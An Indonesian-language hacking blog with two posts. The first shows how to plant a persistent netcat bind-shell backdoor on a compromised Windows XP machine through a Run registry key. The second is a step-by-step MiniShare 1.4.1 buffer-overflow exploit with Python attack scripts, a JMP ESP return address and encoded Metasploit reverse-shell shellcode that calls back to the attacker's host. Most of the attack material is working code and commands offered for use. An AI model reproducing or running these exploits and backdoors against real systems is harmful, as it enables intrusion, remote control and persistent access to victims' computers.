Tampilkan postingan dengan label Maintaining access. Tampilkan semua postingan
Tampilkan postingan dengan label Maintaining access. Tampilkan semua postingan

Selasa, 17 April 2012

Mempertahankan akses dengan NETCAT BACKDOORING

Kali ini mari kita bahas tentang backdooring dengan netcat !! pasti dah pada tau tools yg satu ini !!
btw maaf banged yahh klo repost !! didelete aja deh klo repost !!

oke judulnya kan mempertahankan akses. Klo mendapatkan akses kan udah banyak di paparkan di forum ini misalnya dengan metasploit + meterpretter !! contohnya yg baru2 ini thread dari om zee yang ganteng, tentang java applet attack. N saya juga menggunakan cara itu untuk mendapatkan akses ke victim nya !!!

pada saat kita telah mendapatkan akses ! Apakah itu melalui backdooring + meterpreter reverse, atau dengan web jacking, apakah kita harus terus menerus menunggu victim mengeksekusi backdoor kita atau mem-browse IP Address kita melalui browser ? Sementara kita bisa membuat victim dalam mode listening terus menerus sejak komputernya aktif ! Dan itu lah yg akan kita coba lakukan !! OK, setelah om2 semua mendapatkan akses dengan meterpreter,

http://i51.tinypic.com/2ujp9hd.jpg



kita upload dulu netcatnya !!

Code:
upload /pentest/windows-binaries/tools/nc.exe C:\\Windows\\system32\\

http://i53.tinypic.com/2dcik53.jpg



ok netcat nya berhasil di upload .. sedikit tentang netcat, untuk mebuat dia menjadi mode listenning maka commandnya adalah

nc -L -p [port] -d -e cmd.exe >> untuk server window$
nc -L -p [port] -d -e /bin/bash >> untuk server linux

untuk mengaksesnya bisa dengan perintah
nc -v [IP Tujuan] [port]

oke sekarang kita harus membuat agar perintah itu dieksekusi pada saat komputer start up !! victim saya adalah mesin windows XP, dan pada windows XP untuk mengeset program2 yg berjalan pada saat start up maka kita bisa mengakses regedit pada alamat berikut

HKLM/Software/Microsoft/Windows/CurrentVersion/run

jadi perintahnya seperti ini

meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v system -d 'C:\Windows\System32\nc.exe -L -p 4444 -d -e cmd.exe'

jika sukses maka yg tampil adalah Successful set system.
Jadi dengan perintah diatas saya mencoba menambah sebuah value pada registry windows dengan nama system dengan nilai data 'C:\Windows\System32\nc.exe -L -p 4444 -d -e cmd.exe' .
Jadi walaupun session meterpreter tidak tercipta tapi victim telah dalam mode listenning !!
sekarang coba kita akses dengan netcat client kita dan juga via telnet !!

http://i53.tinypic.com/262mvqe.jpg


OK got it !! moga bisa nambah2 !!
monggo ditambahkan trik2 lain dengan netcat !!! 

From Bug to 0day Level-1

ni adalah hari spesial bagi HN-Community. Karena hari ini telah di-post sebuah tutorial pentesting system pertama di Indonesia. Jika tidak percaya, carilah tutorial mengenai From bug to 0day yang berbahasa indonesia, dan yang memiliki screenshoot seperti yang dibuat di dalam forum ini. Materi ini sebenarnya telah diajarkan oleh Mati Aharoni, pemimpin Offensive Security, yang sekaligus menjadi pencipta Back|track. Saat itu Mati Aharoni mencoba mengeksploitasi system melalu program NNM Ovas. Namun kali ini saya akan mencoba metode yang sama, namun dengan program yang berbeda, yaitu MiniShare. Biasanya anda harus mengikuti training Offsec atau DefCon untuk mendapat materi ini, dan tentu saja tidak gratis. Namun hari ini, saya berikan tutorial ini kepada anda.


Requirements:

Back|Track:

  • Perl interpreter
  • Python interpreter
  • Metasploit 3.x
  • Text Editor
  • Netcat
  • VM-Ware
  • OS Windows-XP SP 2
  • OllyDbg 1.10
  • MiniShare 1.4.1

IP address saya: 172.16.10.1
IP target: 172.16.10.128
Port target: 80


Walkthrough:

Pastikan kedua mesin bisa saling berinteraksi dengan perintah ping

1. Install MiniShare 1.4.1
2. Attach minishare.exe ke dalam OllyDbg

Buka File - Open - C:\Program Files\MiniShare\minishare.exe

3. Memicu Vulnerablity

Sekarang kita telah memiliki minishare dalam ollydbg, kita harus tau bagaimana cara memicu vulnerability program minishare, sehingga kita dapat menganalisa untuk mengembangkan exploit kita.

Dengan mengecek keamanan vulnerability, dan memperhatikan exploit yang ada, kita dapat melihat bahwa vulnerability terpicu dengan mengirim permintaan GET dengan kapasitas yang sangat besar ke dalam system.

Kita dapat mencari tau standar format sebuah HTTP get request dengan mengecek dokumen HTTP RFC, atau mengambil paket dari beberapa web browser. Namun pada dasarnya, sebuah GET request mengandung URI yang diterima oleh web server, diikuti dengan versi protokol HTTP, diikuti dengan header lainnya, dan diakhiri dengan dua garis baru.

Melakukan sebuah packet capture dari sebuah request menuju http://www.google.com, menunjukan bahwa request dimulai dengan "GET / HTTP/1.1/" kemudian mengandung nomer dari header lainnya, dan diakhiri dengan dua garis baru.

Kita bisa mencoba dan membuat kembali overflow dengan mengirim perintah ini kepada server yang vulnerable:

Code:
"GET [panjang string dari karakter A] HTTP/1.1[new_line, carriage_return x 2]"

Kita bisa mengirim ini menggunakan script python. Dalam script python, "\x41" adalah nilai heksadesimal dari ASCII karakter "A", dan "\r\n\" adalah baris baru. Kamu harus mengganti variabel target_address untuk memuat alamat target. Simpan file ini dengan nama 0day.py, kemudian ubah execution permision dengan perintah "cmhod +x 0day.py". Python merupakan bahasa pemrograman yang sensitif, jadi pastikan kamu tidak membuat kesalahan saat penulisan script.

Spoiler! : 
Quote:#!/usr/bin/python
import socket


target_address="172.16.10.128"
target_port=80


buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"


sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Catatan: ubah target_address sesuai dengan IP Windows XP dalam VM-Ware anda. Dan biarkan port tetap bernilai 80.

Kembali lagi ke OllyDbg. Setelah meng-attach minishare, jalankan program tersebut dengan memilih "run" pada "debug" menu. Perhatikan. EIP pada Register kolom adalah 7C90EB94. Jalankan script 0day.py dengan perintah:

Code:
root@red-dragon:~# ./0day.py
atau
Code:
root@red-dragon:~# python 0day.py

Dan perhatikan kembali EIP pada OllyDbg, sekarang EIP telah berubah menjadi 41414141 dan program mengalami crash system. Berhasil, kita sudah membuat vulnerability minishare terpicu.


4. Mengambil alih Crash System

Sedikit penjelasan mengenai EIP register akan saya jelaskan di sini. CPU memutuskan, mana instruksi yang dieksekusi selanjutnya dengan membaca nilai dari sebuah EIP register, dan mengeksekusi instruksi yang berlokasi pada alamat memory. Sebagai contoh, jika EIP register memuat alamat 0x77daaf0a, dan alamat memory tersebut menyimpan kode \xff\xe4 (dimana pada opcode bahasa mesin untuk assembly instruksi berarti JMP ESP) kemudian CPU akan mengeksekusi instruksi tersebut, menyebabkan "jump" eksekusi ke memory yang berlokasi di dalam alamat memory yang diberikan referensi oleh ESP register. Jadi, jika ESP register memuat nilai 0x01423908, sebuah JMP ESP instruksi akan dieksekusi, yang menyebabkan EIP di set menjadi 0x01423908, dan apapun instruksi bahasa mesin yang berlokasi pada alamat memory 0x01423908 akan dieksekusi selanjutnya.

Secara konsekuan, untuk menghubungkan kembali eksekusi pada exploit kita, kita harus meng-overwrite EIP register dengan lokasi memory yang mengandung sebuah instruksi dalam bahasa mesin yang akan menunjuk EIP register ke sebuah area yang bisa kita tempati sebagai tempat menaruh kode exploit kita. Tempat yang paling berharga untuk menaruh kode exploit kita adalah di dalam buffer data yang sama, yang sebelumnya telah kita picu exception-nya yang mengakibatkan buffer overflow.

Kita tidak tau pasti alamat dari lokasi memory yang dapat kita kontrol saat proses buffer overflow terjadi, namun kita tau dari mengecek nilai register pada waktu yang sama, yang ditunjuk oleh register EIP ke lokasi di dalam buffer ini. Secara konsekuen, jika kita bisa menuju kembali kode eksekusi ke lokasi memory yang di-suggest oleh ESP, dan jika kita tempatkan instruksi bahasa mesin kita ke dalam lokasi buffer yang ditunjuk oleh ESP, kita dapat meng-eksploitasi aplikasi untuk menjalankan code exploit kita.

5. Menemukan Instruksi JMP ESP

Pada tahap sebelumnya, kejadian crash ini menyebabkan alamat EIP di-overwrite dengan lokasi memory yang memuat instruksi bahasa mesin yang dikenal yang akan menunjuk kode ke dalam buffer kita. Sejak register ESP menunjuk ke dalam buffer kita saat kejadian crash, JMP ESP perintah didiskusikan lebih awal oleh system yang memperbesar peluang buffer overflow.

Jadi bagaimana kita menemukan instruksi JMP ESP yang berdiam di dalam lokasi yang dapat diprediksi di dalam memori yang kita gunakan? Yaaa, ada beberapa cara untuk mencapainya, namun saya memilih metode ini melalui debugger.

Pertama-tama, buka menu "View" di dalam OllyDbg, dan pilih Executeable Modules. Setelah memilih Executealbe Modules, maka akan ekluarjendela baru yang menampilkan semua modul yang dapat dieksesuki yang tersimpan, yang dimiliki oleh proses ini. Untuk minishare, kita dapat melihat minishexe pada daftar teratas, dan kemudian sebuah nomer dari Windows DLL yang telah dimuat oleh minishare untuk melayani fungsi tambahan yang dibutuhkan. Kita dapat mencari di dalam modul-modul ini untuk mencari instruksi JMP ESP yang kita butuhkan.

Catatan: Sebaiknya saya memberi beberapa informasi sebelum kita melagkah lebih jauh. Saya membuat exploit ini untuk Windows XP SP2. Windows XP tidak memiliki pengamanan untuk mengatur ulang secara acak setiap lokasi pangkalan system dimana setiap DLL dimuat. Jadi setiap aplikasi ini berjalan, setiap DLL akan dimuat kedalam memory yang sama persis dengan alamat memory saat dimulainya system. Ini berarti, instruksi yang bertempat di dalam DLL itu juga akan sama dengan alamat ketika program berjalan. Windows Vista dan Windows 7 mengimplementasikan sebuah pengamanan yang disebut ASLR dimana hasil dari sebuah DLL (khususnya Windows System DLL) akan dimuat ke pangkalan lokasi secara acak. Hal ini berarti instruksi yang berada dalam DLL tersebut memiliki alamat yang berbeda setelah system melakukan restarting. Jadi saya sarankan untuk mengikuti pelajaran ini dengan menggunakan Windows XP SP2.

Tambahan untuk fakta kecil mengenai ASLR ini, setiap Service Pack, layout dari sebuah system DLL akan berubah, dan bahasa yang berbeda dari sebuah OS Windows, juga memiliki struktur DLL yang berbeda-beda. Ini berarti, jika kamu menggunakan Service Pack dan Bahasa yang berbeda dalam tutorial ini, maka kamu akan menemukan beberapa perbedaan dari sebuah alamat memori yang tertera dalam kolom OllyDbg. Berfokuslah pada apa yang telah anda temukan bukan mengcopy hasil address yang saya temukan.

Sekarang saatnya memeperhatikan daftar executeable modul milik kita dalam OllyDbg. kita bisa mengambil hampir setiap entri-entri inin untuk menemukan alamat JMP ESP, bagaimanapun juga, ada beberapa hal yang sebaiknya dipertimbangkan sebelum memilih. Pertama, kita harus menghindari setiap alamat yang mengandung 0 byte \x00. Karakter ini menjadi pertimbangan dalam sebuah string terminator dalam bahasa pemrograman C. Dan biasanya memiliki efek untuk menghancurkan exploit ketika exploit disertai dengan buffer. Untuk beberapa alasan, kita juga harus menghindari line feed dan carriage return karakter seperti \x0a dan \x0d. Ini berarti, menggunakan alamat apapun dari minishare.exe berarti mustahil menjalankan exploit, karena semua alamat executeable modul ini mengandung 0 byte (base address = 0x00400000). Jadi lebih baik jika kita menggunakan DLL yang datang bersama aplikasi itu sendiri, karena alamat-alamat ini tidak berubah walau dengan OS yang memiliki Service Pack, dan Bahasa yang berbeda. Hal ini dapat memberi peluang pada exploit untuk bergerak lebih bebas di dalam system. Karena tidak adanya tambahan DLL seperti minishare, kita harus memecahkan mana Windows DLL yang termuat yang akan kita gunakan? Pada kali ini saya mengambil "major" DLL yang sedikit berubah pada hasil hotfixes. Saya juga menggunakan shell32.dll atau user32.dll. Mari kita cari shell32.dll lebih dulu.

Klik kanan pada entri shell32.dll dalam jendela Executeable Modules, dan pilih View Code in CPU.

Kemudian klik kanan pada CPU are (yang menunjukan code untuk shell32.dll module - cek teks sesudah "module" di tittle bar untuk meyakinkan bahwa ini adalah dll yang sudah kita pilih sebelumnya) kemudain pilih search -> Command atau tekan ctrl+f.

Dalam box Find Command. ketik JMP ESP, dan pilih Find.

Dalam system saya, saya menemukan perintah JMP ESP yang berletak pada alamat memory 0x7CA58265 dari shell32.dll


Alamat ini terlihat bebas dari karakter buruk seperti \x00 \x0a dan \x0d, jadi kita bisa menggunakan alamat ini untuk meng-overwrite EIP. Jika alamat pertama terliah mengandung karakter buruk, kamu bisa mencari alamat lain dengan menekan tombol CRTL+L.

6. Menemukan Offsets di dalam Buffer

Sekaran kita sudah memiliki alamat yang akan kita gunakan untuk meng-overwrite EIP. Kita harus menemukan lokasi pasti dimana EIP akan di-overwrite oleh buffer kita. Sehingga kita bisa menyusun buffer yang akan kita kirim ke dalam system. Kita juga harus menemukan lokasi di dalam buffer dimana ESP regiter akan menunjuk, jadi kita bisa menempatkan kode bahasa mesin kita di sana.

Untuk melakukan ini, kita bisa menggunakan tool yang didistribusikan oleh Metasploit Framework yang bernama pattern_create.rb. Tool ini membuat pattern yang unik dengan panjang pattern yang spesifik, dimana bisa disisipkan kedalam buffer untuk mengirimkan exploit kita ke dalam system yang vulnerable, dimana overwrite akan terjadi. Saya akan mencoba meregenerasi sebuah string, dan menaruhnya kedalam kerangka exploit.

Code:
root@red-dragon:~# cd /pentest/exploits/framework/tools/
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_create.rb 2220


Catatan:
Kamu harus mengkopi semua output yang dihasilkan oleh pattern_create.rb dan paste ke dalam 0day.py script kita.

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac​6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A​f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9​Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak​6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A​n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9​Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As​6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A​v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9​Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba​6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B​d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9​Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi​6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B​l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9​Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq​6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B​t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9​Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By​6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C​b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9​Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg​6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C​j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9​Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co​6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C​r3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9​Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Sekarang kita kembali ke OllyDbg, pilih debug, kemudian pilih restart. Dan tekan tombol Play atau F9 untuk menjalankan minishare. Kemudian kita jalankan kembali 0day.py kita. Hal restart ini harus dilakukan setiap kita hendak memicu vulnerability dari sebuah program.



Bisa kita lihat, sekarang EIP menunjuk ke 36684335 dan ESP menunjuk ke"Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck​3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9C​n0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4"

Mari kita buat kembali pattern dengan tools pattern_create.rb
Code:
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb 36684335
hasil = 1787
Code:
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb Ch7C
hasil = 1791


Kemudian ubah 0day.py kita menjadi:

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41"
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer))
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Restart kembali, lalu jalankan minishare di dalam debugger OllyDbg. Kemudian jalankan kembali script 0day kita. Sekarang EIP menunjuk ke 41414141, dan ESP menunjuk ke 01343908.


Sekarang kita tau dimana letak offsets yang kita butuhkan untuk meng-overwrite EIP dengan sebuah alamat pilihan kita, jadi kita bisa melanjutkan untuk menambahkan data yang benar ke dalam buffer kita.

7. Memodifikasi Exploit untuk mendapat kode eksekusi

Pertama, kita harus menggunakan alamat JMP ESP yang telah kita dapat sebelumnya untuk meng-overwrite EIP.

Sekarang, saya akan memberikan trik untuk melakukan ini. Pada dasarnya, LEO (Littel Endian Order) itu adalah jumlah byte yang ditempatkan dalam posisi paling kiri pada sebuah register. Untuk mendapat alamat dari 7CA58265 dalam sebuah EIP, kita harus memesan byte kembali untuk ditempatkan ke byte pertama. Alamat 7CA58265 dibuat dari 4 byte, yaitu 7C, A5, 82 dan 65, dimana tiap byte diwakili dengan 2 karakte heksadesimal. Untuk mendapat nilai ini dari dalam stack (dimana buffer overflow terjadi) kedalam register EIP, kita harus memesan byte 65, 82, A5 dan 7C atau 6582A57C.

Mari tulis ini ke dalam exploit kita, ingat bahwa alamat JMP ESP kamu mungkin berbeda dengan alamat JMP ESP yang saya temukan. Jadi gunakan apa yang anda dapat untuk mencapai kebehasilan exploitasi ini.

Alamat JMP ESP saya = 0x7CA58265

maka

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP menunjuk ke sini.
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Restart mini share, dan jalankan kembali. Sebelum kita mengirimkan 0day.py milik kita, kita akan mengatur sebuah breakpoint pada alamat yang akan di-overwrite oleh kita, untuk memastikan bahwa eksekusi tertuju dengan benar. Pada sisi atas kiri dari jendela CPU, klik kanan dan pilih Go to->Expression. Di dalam jendela tersebut, masukan alamat dari instruksi JMP ESP milik kamu, (dalam tutorial ini saya mendapat alamat JMP ESP 7CA58265), dan klik OK. Kemudian dengan JMP ESP yang di highlight, tekan F2 untuk membuat breakpoint. Alamat pada jendela CPU untuk instruksi yang serupa akan menjadi berwarna merah. Yang akan mengindikasikan bahwa breakpoint telah diatur. Breakpoint pada dasarnya menghentikan eksekusi dari sebuah program dalam debugger ketika kita mencapai point yang serupa di dalam kode, dan itu akan memastikan kita bahwa JMP kita telah terjadi tanpa membiarkan kode kita terus berjalan.

Setelah kita mengirimkan 0day.py milik kita, system crash dan akan terpicu dan eksekusi akan berhenti pada breakpoint yang telah kamu tetapkan. Sekarang tekan F7, eksekusi akan "menuju" ke tempat pertama dari alamat \xcc dari buffer yang telah kita kirim. Jika ini tidak terjadi, cek kembali exploitmu, dan pastifkan offset kamu benar.


8. Menambahkan shellcode ke dalam exploit
Sekarang kita telah memiliki kode eksekusi, bagaimanapun juga, exploit kita masih tidak melakukan apapun yang berguna, sampai kita kode tempatkan bahasa mesin kedalam buffer kita. Untuk hal ini, kita bisa gunakan tool Metasploit msfpayload untuk meregernerasi shellcode yang bisa kita tambahkan kedalam kode buffer kita. Kode ini dibuat dengan opkode bahasa mesin yang bisa melakukan hal seperti membuka shells, menjalankan program dan lan-lain.


Gunakan LHOST dan LPORT parameter untuk menghubungkan kembali korban kita ke system LHOST=172.16.10.1 LPORT=443. Gunakan parameter C untuk menampilkan output dalam ctyle format.

Spoiler! : 
Quote:root@red-dragon:/opt/metasploit/msf3# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
http://www.metasploit.com
* VERBOSE=false, LHOST=172.16.10.1, LPORT=443,
* ReverseConnectRetries=5, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xac\x10\x0a\x01\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";


Terlihat bahwa shellcode kita memiliki karakter buruk sepert \x00 \x0a dan \x0d. Untuk itu kita gunakan msfencode untuk meregenerasi shellcode kita guna manghindari karakter buruk di dalam shellcode kita. Kali ini saya menggunakan encode x86/shikata_ga_nai.

Spoiler! : 
Quote:root@red-dragon:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] =
"\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
